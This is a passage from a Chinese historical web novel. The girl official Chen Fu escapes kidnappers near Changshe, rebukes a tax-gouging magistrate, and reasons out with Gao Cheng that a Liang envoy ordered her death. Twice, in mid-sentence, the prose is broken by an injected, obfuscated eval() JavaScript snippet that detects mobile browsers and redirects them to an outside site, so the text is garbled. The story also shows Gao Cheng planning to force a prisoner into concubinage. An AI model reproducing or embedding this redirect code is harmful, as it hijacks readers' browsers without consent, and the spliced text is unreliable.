摇晃忽止,她瞬间停了动作,将簪钗死死攥在手心,身体放松,头歪向一边挡住发髻,闭眼装晕。 “去,看看醒了没!” 外面一声吆喝,脚步声靠近。 一阵搬箱子的声音后,箱盖被“哐当”一声掀开,灼热的光线和浓烟瞬间刺入黑暗,晃得她即使闭着眼也能感到一片橘红。短暂的光影交错,确认了现是黑夜。 一只手扒拉了一下她的肩膀。 “还晕着呢!放你一百个心吧,我那药猛着呢,出颍川前醒不了!” “啪”地一声,重新黑暗。 颍川?!这再走就快出东魏了! 等车轮再次吱呀响起,她磨绳的动作更快,更狠!掌心手腕被钗子硌破,渗出血来,混着汗水,滑腻不堪。 一声极细微的断裂声,手腕骤然一松。 迅速弄开脚上的绳索,扯出嘴里的破布,小心翼翼地探查箱子,手指触摸到光滑的圆形器物,是陶器,周遭填着稻草和谷壳。 她蹭掉手心的汗,一手紧握簪钗,一手抓着陶罐口,蜷缩在黑暗中,等待着。 不知过了多久,车子再次停下,抱怨声传来,搬箱子,箱盖再次被掀开,火光,就是现在! 猛地睁眼!如同被压到极致的弹簧般暴起,将簪钗朝那张脸的右眼狠狠刺去! “啊——!我的眼睛!!你这个贱人!”凄厉惨叫划破夜空。 没有一息停,另只手抄起沉重陶罐,朝着闻声赶来的另一黑影奋力砸去! “砰”的一声闷响,伴随着痛呼。 她看也不看,只不顾一切地翻身滚下车板,连滚带爬起身,借着月光,朝远处村落的模糊轮廓奔跑。 风声在耳边呼啸,肺部火辣辣地疼,身后的怒吼和追赶脚步声如同催命的鼓点。 她不敢回头,只知道向前跑!拼尽全力地跑! 忽然,她瞥见右前方田埂上,似乎有一模糊人影。 “救命!救命!”她用尽力气嘶喊。 那人影似乎听到了,停下了动作,朝她的方向转过来。 “救——!” 重重地向前扑倒,一只粗糙大手从后死死抓住了她的脚踝,巨大的力量将她向后拖去,伴随着暴怒的喘息: “小贱人!看你往哪儿跑!” 21.第21章 就在那只手将陈扶后拽的刹那—— “夯!做甚咧!” 一声带着浓重乡音的断喝,人影掠过,身后发出一声闷哼,钳制她的力道骤然一松。 救她的是个村汉,正紧握锄头,警惕地对着那杀手。杀手捂着头侧,鲜血从指缝流出。 陈扶抄起手边石头便朝杀手面门砸去。 杀手在村汉举起的锄头和状若疯虎、意欲冲来戳他眼睛的陈扶间一扫,啐出一口,撂下句“爷爷的!”便踉跄消失在了夜色里。 村汉憨憨一笑,“莫、莫怕,歹人跑了。小娘子…可伤着?” 陈扶摇摇头,定了定神,起身道:“多谢大哥相救,敢问…此是何处?” “长社县,王家村。” “大哥,我非本地人,今夜无处落脚,不知大哥能否给我找个住处?” 看着眼前穿着绫罗却狼狈不堪的小女娘,村汉犹豫了下,道:“去俺家吧,你和俺妹子睡。” 路上,陈扶得知他叫王禛,是城里舅公给起的名字,家里还有爷娘和一小妹,叫王禾。 阿禛的家是一座夯土墙茅草屋,推开吱呀作响的木板门,一股霉味扑面而来。 是个套间,外屋昏暗,唯一小窗用破布挡着,墙角垒着土炕,铺着草席。一两个黑乎乎的陶罐便是全部家当,屋角土灶上,一口铁锅孤零零蹲着。 一瘦小、面色蜡黄的姑娘怯生生从里屋探出头,好奇地打量陈扶。 阿禛的爷娘闻声出来,看儿子带回个人,老汉怪道:“大,你咋领人回来咧?自家都啖不起了…” 陈扶将手里那根金簪擦了擦,递过去,“老丈,婶子,这簪还请收下,烦请收留一夜,明日让大哥送我去县衙报官即可,绝不会拖累你家。” 看那簪在昏暗中,尚能折出金光,夫妇眼睛瞬间亮了,连声道:“小娘子快坐,快坐!大,快去弄点吃的!” 在那草席上坐了不到片刻,陈扶便觉浑身发痒,忍不住伸手去挠。 打下手的阿禾,怯生生开口:“有…有虼蚤…” 动作一僵,顿觉痒意更盛,她再也坐不住,起身走向二人,“我也帮你们。” 学着样子,将荠菜和马齿苋的老叶与嫩芯分开。 阿禛腾出手,从一破陶罐里舀出小半碗豆面,调成糊,阿禾取来外面晾的小鱼小虾,待豆糊微沸,便把野菜老叶和小鱼小虾放进去煮。 接着,阿禛像是想起什么,快步走出,很快摘回几片茱萸,合掌一搓,撒入锅中,原本只有豆腥气的锅里,飘起一丝勾动食欲的辛香。 最后将那些嫩芯撒进去。 拿出几个颜色深浅不一的陶碗,开始分饭。先给陈扶盛了满满一碗,然后是爷娘,轮到阿禾时,老汉道:“给禾也多盛点。” 阿禛手一顿,往妹妹碗里又加了一勺。 五人开始围着灶台吃饭。 老汉吃得很快,几乎是囫囵吞,阿禛眉头微锁,吃得慢些。而阿禾,不仅喝光了,还将碗舔了个干净。意识到陈扶在看她,蜡黄小脸上泛起红。 陈扶尝了口,虽只是糊糊,却挺鲜甜,但她只喝了小半碗,便推说饱了,将碗推向阿禾,“能帮我喝了么?”阿禾点点头,仰头喝得一滴不剩。 洗罢碗,夫妇回了里间,阿禛也跟了进去。 油灯如豆,光影在土墙上摇晃。 陈扶坐在炕上挠痒痒,身边的阿禾睁大了眼睛,屏息听着里面。 “城西李牙婆…递了话,孙家缺个使唤丫头…五斛粟米…现给。” “不行!”阿禛声音猛地拔高,“绝对不行!”又压低声音,“那小娘子…不是给了根金钗?” “谁知道真假?便是真的,往后也要给你娶媳妇用…” “俺不要媳妇!俺去河里摸鱼,去坝上给人扛包!俺去…俺去偷去抢!也不能卖她!” “偷?抢?!你想叫官府抓了你去?!五斛粟!够俺们啖到秋收!不卖她,全家一起饿死吗?!” “孙家…是体面人家…跟了去…至少有口饭吃…” “娘!那是火坑啊!是生是死都由别个了!” “这事定了!” 老汉语毕,墙壁传来拳头捶在上面的沉闷声响。 阿禾用破被死死堵住自己的嘴,大颗大颗泪珠无声滚落。 陈扶刚进来时,看她虽也是粗麻布衣,但没有补丁,还以为是家人疼她,结果是因为要‘卖’,所以要卖相好些。 翌日天一亮,阿禛便带着陈扶踏上了通往长社县城的路。 村庄在晨光之中,更显出其破败。房屋多有倾颓,目光所及是大片荒田,田埂边只有荠菜、灰灰条等野菜。远处,洧水河岸成片的柳树和榆树皆被拔了皮,榆钱是救命的粮食,早被摘光。 面有菜色的老翁在田里艰难锄地,几个因长期饥饿而腹部胀大的孩童,呆呆地坐在土墙边,用空洞的眼神望着他们,一片死气沉沉。 “阿禛,朝廷不是颁布了均田令,也减轻赋役了么?怎么会…穷困至此?” 阿禛露出苦笑,“小娘子恁说的是天子跟前,俺们这儿是河南道,是侯大将军说了算的地界。”语气带着畏惧,也有压抑的愤懑,“朝廷的恩典,落不到俺们头上。侯大将军要养兵对付西边和南边,税赋、劳役,一年重过一年。” 他声音更低了,“交完府君要的五匹绢,家里便分毫不剩了,没钱打点,只能一趟趟出去服劳役,地也荒了…”他指指远处一个蹒跚的背影,“俺叔的腿,就是去年被征去修河堤,活活冻坏的,再也好不利索了…” 陈扶眉头深深蹙起。 高澄在邺城踌躇满志,与宋游道、崔暹、高隆之等日日商讨如何整顿吏治,清丈土地,减轻民负。 可那些政令,经过层层盘剥加码,最终压在老百姓身上,依旧重得连‘啖饭’都艰难。 “好个政不下乡啊。” 阿禛看着身侧恨声咬牙的小女娘,犹豫再三,终忍不住问道:“小娘子,你…你不是普通人家的孩子,对不?” 陈扶没有回答,她的目光越过荒地,投向长社县那模糊而坚硬的轮廓。 长社县衙门前,石狮因风雨侵蚀已显斑驳,门楣上的漆皮也有些剥落,却依旧透着威仪。 守门的衙役见一衣衫褴褛的村汉带着个面有污迹的小姑娘靠近,立刻横起火棍,厉声喝道:“滚开!县衙重地也是你们这等贱民能靠近的?速速退去!” 阿禛面露惶然,下意识就要后退,陈扶轻拉了他一下,止住他的退势,自己上前一步,对那衙役道:“劳烦通传,我要见县令。” “明府也是你想见就能见的?再不滚,小心爷爷的棍子不长眼!” 陈扶目光一凝,不再看他,转而望向衙门深处,声音陡然变冷,“告诉你家县令,他若还想戴头上那顶进贤冠,即刻出来见我。” 那衙役被她威势所慑,‘进贤冠’三字绝非普通女娘能言,心下起疑,转身入内通传。 二堂之内,县令正端着一杯酪浆慢饮。闻报眉头紧皱,心中不悦,料想是哪个乡绅或落魄士族之后前来搅扰。他故意晾了片刻,才整理衣冠,端着官威,缓步踱出。 来到前庭,见堂下立着的小女娃蓬头垢面,不由勃然作色:“大胆刁民!安敢在此狂言?!” 陈扶直视县令,沉声质问:“狂言?尔审都未审,问亦不问,便断定我是来此口出狂言?” 县令被这话噎得一滞,再看这女童气度沉静,心下也生起几分谨慎,便拿起官腔,公事公办起来: “堂下何人?见本官何事?有何冤情?若无鸣冤,尔等擅闯县府,可知该当何罪?” “来此本为私事,然自城外行来,确是想为这长社县百姓,鸣一鸣冤情。” 县令闻言怒意上涌,仔细打量二人,目光落到阿禛身上,“你,本官认得你,是城东王村的吧?此女是你何人啊?” “回…回明府,是…是小的从河边救下的外乡人…” “外乡人?”县令一听此言,心中大石落地,既非本地豪强之女,又无亲无故,方才被挑起的那点谨慎瞬间被受骗的恼怒取代,他猛地一拍案几,厉声道:“好个刁滑女子!一无凭据,二非苦主,竟敢假借民情,戏弄本官!来人啊,将此二人押下去,好好地审!” “戏弄?!”陈扶指向他身上那件绿色官袍,“我看是你,戏弄了朝廷,戏弄了身上这袭官袍!” “大将军明令一户缴三匹绢即可,你收百姓五匹!欺上瞒下,横征暴敛,以致治下之长社县城,村闾凋敝,民生困苦,百姓食不果腹,衣不蔽体!朝廷设郡县,命守牧,为得什么?难道是让你尸位素餐、盘剥黎庶,将这片沃野千里治成一片人间白地的吗?!” 县令被这劈头盖脸的呵斥镇得心惊肉跳,猛地想起今早紧急发来、尚未及张贴的那张画像,再仔细端详眼前女娘, “你…尊驾莫非…姓陈?” 陈扶听到此言,已知是高澄寻她之故。 “给河南道大行台侯景传信,要他派人来接我。” 一旁的阿禛早已目瞪口呆。 从小女娘命令衙役开始,到将这土皇帝骂得脸色发白,十足十上级训斥下官姿态,最后甚至…甚至直呼那位的名号,语气平淡得像在呼唤邻家… 他脑子嗡嗡作响,只剩下一个念头盘旋:这是…救了个什么神仙?! 县令的目光怔在陈扶脸上,这气度,这回答,必是高王机要重臣陈元康之女,大将军高澄的女史无疑了呀!如此贵女,竟真站在自己这县衙里! 这一确认,让他浑身一激灵,冷汗涔涔而下。 官威瞬息蒸发,躬身下台,脸上每道皱纹都堆起了笑意,“下官有眼无珠!不知是陈女史,万望恕罪,恕罪啊!” 立即着县丞给大行台修书,陈扶略一思索,要其再给东柏堂修书一封。 待信快马送出,县令亲自带人护送陈扶与阿禛回村。 一路上,他鞍前马后,不住解释:“陈女史明鉴,这上头催得紧,下官…下官也有难处啊!这河南地面上,一切军需用度,皆由大行台一言而决。大将军的钧令到了此处,也需…也需酌情办理嘛。下官区区县令,如同风箱里的老鼠,两头受气,多收上来的,原非尽入下官私囊啊…” 既推卸责任,又暗示此地乃侯景辖境,高澄的威权在此要打个折扣。 陈扶端坐马上,淡道:“如此说来,我此举是越俎代庖,让明府难做,更让侯大行台面上无光了?” “下官不敢…只是…尊驾如此过问颍川政务,若传到大行台耳中,恐生误会…这,这于尊驾,于下官,都非好事啊…” 陈扶唇角勾起抹冷峭弧度,“明府思虑甚周。既如此,便好好守着这颍川的规矩,在此地长治,于此地终老吧。” 县令面色一僵,这是要掐了他去邺城中枢的路呀! 他双腿一软,几乎当场跪下,脸上血色尽褪,再无半点试探推诿,连声道:“下官糊涂!下官失言!陈女史教训的是!下官一切谨遵大将军钧令!绝不敢再苦累百姓!若有不足,便就…就苦一苦那些富户豪强!” 见他彻底服软,陈扶笑道:“识时务者为俊杰,明府很有人杰之潜力。” 回到破屋,衙役们将几袋沉甸甸的粟米、几只鸡鸭,并十几匹布帛搬进,还有一床崭新的丝绵被褥。 阿禛的父母见状,连连磕头谢恩。 县令让他们起来,有模有样关心起农事来,聊不多时,牙婆依约而至,刚迈进院门,便对上了陈扶冰冷的目光。 牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603982|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婆看看她,再看看一屋子官家,笑容僵在脸上,衙役上前低语数句,人牙子顿时面如土色,连道“得罪”,仓皇退走,连看一眼缩在陈扶身后的阿禾都不敢。 三日后的清晨。 一军官带着几名骑兵驰入村中,径直来到阿禛家门前。 军官对陈扶的态度客气得近乎恭敬,拱手道:“末将奉河南道大行台侯大将军之命,特来恭请女公子。大将军闻知女公子受惊,甚是关切,言道‘陈公乃国之栋梁,万不能令其家人受半点委屈’。” 只提陈元康,不提高澄。 陈扶了然,这是侯景在表明态度:我是给你阿耶面子,念及同上战场同奉高王的情分,与邺城那位世子无关。 “有劳将军。不知将军如何称呼,现任何职?” “末将王贵,现居侯大将军麾下都督之职。” 陈扶看着他,忽展颜一笑,说出了让所有人都愣住的话,“王都督,小女想向都督暂借十金,日后阿耶必当双倍奉还。” 王贵先是一怔,随即大喜。 能用十金买到高王第一机要重臣的人情,简直天降之喜!他立刻解下自己的钱袋,又令那几个兵士凑足十金,恭敬奉上:“区区薄资,能解陈家女公子之急,是末将的荣幸,何谈借还!” 陈扶接过钱袋,塞到还在发懵的阿禛手里。 阿禛像被烫到一样,“不…不要!我救你不是为这个!” 陈扶按住他的手,“救命之恩,给多少都不为过。拿着,把家修好,好好照顾阿禾,有富余的,也给乡亲分些粮食。”说完,她走到王老汉面前,目光陡然锐利,“这些钱,够你们活命了。若我下次来时,见不到阿禾…” 老汉扑通跪下,连连磕头:“恩人!恩人放心!有了这些,全家都能活了,田地也能赎些回来!小人决计不卖阿禾了!” 半月后,河南道大行台府邸门前,侯景微跛着腿,亲自将陈扶送了出来。 “哈哈,阿扶啊,”侯景拍拍陈扶肩头,“若非知道你阿爷是陈长猷,某家都要以为你是高王的孩儿呢!这说话办事的架势,像!真像!” 陈扶微微一笑,她自然知道侯景只敬服高欢一人,这几日的言谈举止,本就是刻意学之。 正说话间,一队囚车辘辘行来。 “哦,是高仲密那叛贼的罪眷。这厮投了西魏,引那宇文黑獭来犯,在邙山被某打得屁滚尿流,活捉了他妻儿老小,正好随你一道,押送回邺城交差。” 囚车中,一衣衫凌乱却难掩丽色的年轻妇人尤其醒目,正是李昌仪。 陈扶看她腕上拴着铁链,对侯景道:“侯伯伯,她一个妇人,既已就擒在铁车之内,哪还有逃走之可能?何必再戴此物?” 侯景对此等小事自无不可,大手一挥,“依你!” 陈扶乘坐的牛车与载着李昌仪的囚车并排而行,踏上归途。 行至无人迹处,忽闻车外有人轻唤:“陈女史?” 掀开车帘,对上了一双关切的眸子。 李昌仪压低声音,问得直接:“听说你前番被劫了?路上…可有歹人‘碰’了你?” 她目光灼灼,默认眼前这九岁女童,能听懂这成人式的询问。 陈扶笑了笑,摇头。 李昌仪紧绷的肩膀松弛下来,露出丝真心笑意,“那就好。” 自此,一段奇妙之谊在颠簸的官道上滋生。 陈扶给她递水喂食,李昌仪则毫无所忌地与她聊天,言语风趣泼辣,对各种人事肆意点评。 二人皆口齿伶俐,思维敏捷,从行程安排到歇脚地点,领队军官完全说不过这一大一小,最后往往只能苦笑依从,私下里戏称她们为“大母虎和小母虎”。 行至洹水歇脚时,两人又隔着囚车铁栏聊了起来。 李昌仪谈及为何选高慎为夫,“高慎此人,才干平平,唯有一点,他只听我的。” 陈扶做个‘嘘’的手势,看军士皆远,才笑问:“李姐姐这般说,不成了挑唆夫君反叛的罪魁了?” “不说了不说了,这罪名我可担不起。”李昌仪凑近些,那双美目带着探究,“早想问你了,你这女史之位…是自己谋来的?还是缘分使然,恰巧入了那位的眼?” 不等陈扶回答,便自顾自点了点头,“定是你自己谋的。既这般费心凑到了他身边…可是因为,心里仰慕他?” “仰慕?”陈扶笑看她,“仰慕,是自己到了对方之位,也做不到对方所能成就之事,才会有的心情。” 李昌仪笑了,换了个词:“可是因为,心里欣赏他?” “自然欣赏。大将军当朝作相,听断如流,锐意革新;又举士好贤,勤政爱民,行事有章法有魄力,自然是极好的。怎么…李姐姐不欣赏么?” “作为大将军,我自是欣赏的。”李昌仪眼波流转,添上一句,“莫说才干,便论起形貌风度,他也当得起‘极好’。” 陈扶顺着话头笑问:“既欣赏其才具,又不厌其容貌,那李姐姐此番回去,可是打算顺水推舟,从了大将军?” 李昌仪笑而不语,盯看她片刻,忽道:“你可也觉着他好看?” “大将军之美姿容,乃是公认。” “那你既也欣赏其才具,又不厌其容貌,待你及笄之后,他若要纳你,你应么?” 问题落下,两人之间出现了奇异的安静,没有羞涩,没有尴尬,只有狡黠的洞察在目光间无声交汇。 随即,不知是谁先没忍住,一声笑从唇角溢出,紧接着,两人竟不约而同地放声笑了起来。 正可谓说曹操,曹操到。 笑声还未落下,官道烟尘扬起,一队精锐骑兵疾驰而来,转眼便至近前。 为首一人,紫袍玉带,姿容华美,正是高澄。 22.第22章 高澄策马遥望,一队人马正在前方树荫下歇脚。 一眼便看到了那熟悉的小身影。 陈扶倚着囚车辕木,不知听里头人说了什么,正仰着小脸开怀笑着,眉眼舒展,全无阴霾。 那颗自她失踪后便一直悬着的心,终是落了一半。 目光一转,囚车里也是熟脸,只是没了上次那光鲜之姿。钗环尽卸,发丝微乱,衣衫也算不上齐整;然那对着陈扶展颜的笑模样,少了棱角,倒更添几分动人。 这两人,一个是他麾下女史,一个是他下令擒回的犯妇,竟这般……融洽? 倒让他有些意外。 陈扶已然看见了他,面上微微一敛,与李昌仪交换了个眼神,规规矩矩行礼:“大将军。” 高澄勒缰下马,几步走到她面前,如同抱跑丢后又寻回的猫儿一般,将她举抱了起来。 “少了点分量。” 一手稳稳托抱在怀,另只手已捋起她袖口,拎起两个纤细小臂,依次扫过,并无虐待殴打之痕。 “幸赖大将军威福护佑,稚驹方能脱此险厄,只是劳大将军亲涉风尘,鹰扬千里,动权四方,是稚驹之过。” 高澄心下受用,哼笑一声:“知道便好。” 又捏了捏其小腿,见无皱眉不适之态,将她抱回牛车放于辕座之上。 “等我。” 待她应声,这才下车,踱步回囚车前站定。 李昌仪早已将方才情形看在眼里,不由调侃:“大将军这般急着赶来,是来核查你家小女史可少了一根头发,还是来提前查我呀?” “自然是都查。”高澄目光在她未施脂粉的脸上流转,“只是一年不见,夫人风姿更胜往昔,倒叫我不忍查了。” 李昌仪嗤笑一声,“罪妇当不起,大将军有何吩咐,不妨直言。” 高澄笑容微敛,贴近栏杆,声音压低道,“有劳夫人,替我问她一句……这一路可曾……受歹人欺辱?” 李昌仪眸光一凝,“怎么?若她已非完璧,大将军便打算弃之不用了?” “我封她为女史,乃是看中她诗文辩才,外交之用,又辅弼称心。只要这些用处还在,我自离不得她。” “那不就结了?”李昌仪挑眉,“若有伤害,已成定局,又何必多此一问?” “问,自有问的道理。若真有何闪失,”高澄眉头微蹙,眼底闪过狠戾,默了一瞬,才又道,“待她及笄议婚,我必会明明白白告诫那家,若敢因此轻贱于她,便是与我高澄为敌。必不教她因无妄之灾,受半分委屈。” 李昌仪眼底那抹挑剔化开,似叹似笑,“算你是个真男人。”声音也柔了些,“她无事,你放心。” 听了这确切之答,高澄神色一松,那股子风流劲儿又回到了脸上,“我算不算真男人,夫人该亲自试试,再做定论不迟。” 又调笑了几句,高澄命队伍重新启程,掀帘钻进牛车。 他挨着陈扶坐下,将人揽进怀里,默了片刻,方开口道: “那日……是我不好,没能牢牢抓着你……原该让刘桃枝也跟着的,或让亲卫跟紧些……只是想着有人在侧盯着,难免扫兴,不能让你好生体会市井烟火……” 他难得这般絮叨,人一心虚,就欲盖弥彰,越描越多起来。 怀中人不知他放手的缘故,只以为是人流汹涌不慎脱手。见他如此自责,黑溜溜的眸子弯起来, “大将军何必自责?此乃意外。既已被人惦记上,便是那日街上未曾松手,贼人也总会另寻时机,防不住的。” 她这般毫不怨怪,高澄那点郁结便也散了。 “你失踪后,我便下令封了城,连梁使归国亦被扣下,也按你信中所请,封锁了你已寻回的消息。你将当时所经历之详情,细细说与我听。” 陈扶便将从木箱中醒来到被村民所救的经过清晰陈述。 高澄听罢,冷然道:“一右眼已盲,一头部受创。回去便绘影图形,发海捕文书!” “此举怕是徒劳。他们深惧大将军之威,必已逃出大魏疆域。” “若寻不到杀手,线索岂非只剩一条:他们须将你带出大魏,方可下手,结算尾金?” “是,虽线索寥寥,然也够了。买凶杀人,若非有仇、便是有利。不妨推演一下,谁人与我有仇,谁人又因我之死可获利呢?” 高澄先想到的是和他结了仇的,“惩贪所涉之辈?” 陈扶轻笑,“那些人动我做什么?女史不在了,原也不耽误崔、宋二位大人弹劾他们。” “元大器?” “元大器,想是仇恨我的。”陈扶略一思索,“但应该不是。一则,其人性情悍直,曲水流觞之辱已是两年前旧事,此时方来报复,这口气憋得也未免太久了。二则,他没必要要求杀手出大魏再动手。更何况,他不过一华山王,手能伸到大魏之外?恐无此能耐吧。” “你是在颍川长社脱困。颍川……分明是往贼国而去。” “不错,他们确是要去贼国。然,稚驹不认为祸首出自西边。我一非统兵大将,二非智囊军师,于战事并无妨碍。若欲刺杀,也该是冲着邙山之战妙算神机的阿耶去。只怕那宇文泰,连我这号人物都未曾听过。” 是呀,她腹藏经史、胸隐甲兵之能,只有与她常日谈天的他知道。 不仅能从有限线索中抽丝剥茧,更能看穿表象之迷障,高澄不由赞道:“我家稚驹,竟如此眼目清明、洞若观火。若说妨碍,你对梁国国威,有碍已久。” “大将军明鉴,然我不倾向于是梁皇帝亲自授意。萧衍乃世所罕有之通才,经史诗文、阴阳卜筮、骑射、声律、草隶、围棋,无所不精。人往往以己度人,他绝不会认为我这般浅才薄技,便不可战胜、非除不可了。此波使者不力,换一波便是;何况他笃信佛法,当不至行此小肚鸡肠之事。” “然则,我虽于国君不至碍眼,却实实在在,碍了那些南使的仕途根本。诗文清谈、外交论辩本该其所专长,却输于对国一尚未及笄之女,颜面何存?回去又何以升迁?不被贬黜已是万幸。毁人前程,犹如杀人父母。因此对我动了杀心,再正常不过。” “至于为何要出大魏后再动手,是恐燕过留痕,万一杀手行事不密,查将出来,买凶杀害大魏女官、大将军近臣、大王机要重臣之女,将是何等外交风波?” 他听得入迷,他的小女史,不仅善诗文,通政务,于人性之洞察竟也天赋至此,过往她切中舆论之所向、大臣之反应,补足他看人之漏的那些瞬间,不住冒出。 不由想起她六岁时,普惠寺方丈批命之语:食神配印于七杀,乃助权生威之强旺也。 “故而,这‘万一’半点也不可有。我绝不可死在大魏,最好是死在贼国。而贼国与梁并无战事,他们在那边有自己人交付尾金,也属正常。” 那两个刺耳的“死”字,令他不由勃然,“既然敢碰我的人,便让其好生领略一下,我大魏廷尉的手段!” 怀中人轻握他手,温言道,“我知大将军疼我,然逮捕使节,需慎之又慎,万一审讯无果,恐启边衅。既推测只是梁使私人之罪,安能因其起了兵戈?” 他自然明白,方才脱口说完,已觉不妥。 却实未料到他的小小女史,竟会这般识大体、顾大局,并没有顺势令他难做;反将他之立场、将国家之利,看得比自身仇怨更重。 手臂难以自禁地拥紧,下颌轻抵她馨香的发顶,半晌,才发出一声沉沉喟叹: “好孩子。” 车帘掀开,城门已然在望。 城门校尉高浚翘首迎候,更让她动容的,是阿耶、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611391|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿母和阿兄,竟都来接她了。 “你阿耶得知你出事,扔下手中公务便日夜兼程赶了回来;你阿兄,怕是这几日也未曾安枕。” 陈扶望去,果见阿耶眼下青黑,阿兄一双红眼。 她心中一暖,又有些酸楚,下车后先抱住抽泣的阿母安抚。待其情绪稍定,转向阿耶,露出笑意,“孩儿此番在外,一时不便,斗胆借了阿耶名头,赊了些许钱帛。” 陈元康一怔,连声道:“只要平安,些许钱帛算什么,阿耶帮你还!” 言语中毫无芥蒂,反透着被女儿视作依靠的欣悦。 虽已与李氏和离,续娶了卢氏,但卢氏无生育之能,情感亦淡薄,在他心底深处,眼前这母子三人,才是他血脉相连、割舍不下的至亲。 因需封锁陈扶已寻回的消息,高浚便给她戴了顶轻纱帽,遮掩容貌,嘴上不忘调侃她给他加了工作,要她请吃一顿。 一行人进城后,径直前往廷尉衙门,先将高慎罪眷移交收押。 高澄随着押解的吏卒走入阴暗的牢房,在关押李昌仪的囚室前驻足。 他挥退左右,隔着铁栏,勾起势在必得的笑意,“如何?可愿跟我?” “大将军此问,我若答‘不愿’,是否便意味着,你呈给陛下的奏疏里,会多出‘挑唆夫主、其心可诛’的罪状?若答‘愿’,便能换得你笔下超生,格外开恩?” 李昌仪语气轻松,仿佛在谈论今日之天气,而非自身之生死。 高澄见她这般模样,倒也没了虚言恫吓的心思,直接道:“你倒是明白。不过,即便我不为你求情,阿耶看在已故忠武将军的面上,也不会真要你们性命。但,”凤目微眯,目光灼灼,“你若点头,我保你明日便能离开这腌臜之地。” 李昌仪轻笑一声,“既然大将军如此坦诚,那我也直言了。大将军你,非我李昌仪会选择之类型,给大将军做妾,更非我李昌仪理想之人生。” “无妨,”高澄不以为意,“性情不合,调教调教便就合了。” “调教?”李昌仪唇角讽刺意味更浓,“我还以为,大将军对我青眼有加,是因好我这般口味。原来,竟是要打磨成另一副光景?那恐怕要失望了,我之性情,实非调教可改。” 她这浑身带刺、身处劣势依然强势的模样,也算别有风味。 但实非他所喜。 脑海不期浮现出元玉仪那情态来,容色绝异,脱了衣裳,更生得婀娜娇柔,楚楚堪怜。 虽也历过男子,床上却仍带着一种不胜的、易碎的羞怯之态,叫他总想做些过分的。明明承受不住,被他欺负的泪光点点,只肖附耳哄上一哄,便就全然依从了,别有一番耐人磋磨的韵致,叫他如何能不多疼? 想着元玉仪,眼前这李昌仪,便不急切征服了。 毕竟是赵郡李氏出身,门第高贵,纵然性情扎手些,却于稳定河北士族,大有裨益。 先强收入府,慢慢调教便是,何况女人多口是心非,安知她过了门又是何情状。 心思已定,不欲多做口舌之争,笑看了她一眼,离开了牢房。 待高澄归来,于廷尉正堂主位坐定,廷尉卿陆操趋前一步,禀道: “大将军,方才臣已与陈女史略商过接下来的行事章程。” “说来听听。” “臣拟三路并查:一查南使驿馆。外示宽纵,内布耳目,暗中监控所有人员往来出入,联络书信,与南使有过接触之人。二查邺城近期办理的所有商人过所,尤其陶器商人;核验邺城所有质库,核实梁使近期可曾典当珍宝。三动用帮派暗线,查杀手黑市两月内所有跨边生意之线索。” “可。若锁定了那可疑之人,又待如何?” 陆操看向陈扶,见对方点头,方踌躇道:“有个法子,或可让其自首。” 23.第23章 梁国副使袁昱推开窗扉,馆外街道依旧甲士林立。 三年前,他初次奉使北上,意气风发,踌躇满志。在那次关乎两国体面的文辩上,他抛出一个精心准备的议题,意图彰显梁主萧衍仁德,暗讽北地胡风未化,礼义不存。 这本是十拿九稳的晋身之阶,马屁拍响,回国后必是青云直上。 谁知,胜券在握之时,一个小女童上台救场,笑盈盈开口,却是连番机锋,将他驳得体无完肤,惨败而归,成了建康官场整整一年的笑柄。 此番再来,那女童已成了高澄身边炙手可热的女史,每每宴饮对辩,她皆坐于其侧,寥寥几句,便将他,将整个梁国使团,衬得如同朽木。 他知道,若再无功而返,他在建康的前程,便算彻底断了。 铤而走险的念头如毒藤滋生,接单人‘万无一失’的保证,让他彻底鬼迷心窍。 可他万没想到,高澄的反应会如此酷烈!不惜动用左右、京畿之兵封城,这哪是搜寻一走失女官,简直是应对谋逆大案! 他是真怕了,想借着使节身份,回国暂避锋芒,过几年再来图谋;却被以保护之名,强行扣在了这四方馆中,如同瓮中之鳖。 那两名凶徒是成了,败了?那陈扶是生,是死?西边也无消息传来。 白日里,他实在按捺不住,拉住一位相熟的馆吏,探问何时方能归国。 “还请使君安心暂住,再过半月找不到,应就放行了。” 他安心了些,还没找到,多半是死了;可一想到还要挨半月,又焦躁起来。 驿丞敲门而入,放下一壶新沏的热茶,“使君,蒙顶仙茶,最是宁心静气。” 他正觉口干舌燥,待其换过灯芯离去,便迫不及待连饮两杯。 茶汤入腹,焦躁被压下去些许,却泛起昏沉,恍惚起来,想是近日连连熬夜所致。 他吹熄了灯,和衣躺下,却无论如何也无法入睡。黑暗中,无数念头纷至沓来,悔恨、恐惧、侥幸……交织成一张密不透风的网,将他越缠越紧。 不知过了多久,约莫是子夜时分。 一股似檀非檀、似麝非麝的异香钻入鼻腔,灰白色的烟雾从四面八方涌出,迅速弥漫。 紧接着,案头那盏明明已经熄灭的油灯,灯芯竟“噗”地一声,自顾自地燃起一团幽绿火苗!那光,将整个房间映得鬼气森森。 骇得他猛然坐起! 烟雾深处,两道极高极瘦的身影缓缓凝聚而来。 一黑,一白。 黑者,黑袍如墨,面色靛青,头戴‘天下太平’高帽,手持玄铁锁链,眼神空洞死寂。 白者,白袍如纸,面容惨白,长舌垂胸,头戴‘一见生财’高帽,手握惨白招魂牌。 黑白无常?! “袁——昱——” 一个幽冷、拖沓、仿佛来自九幽黄泉的声音,在死寂中响起。 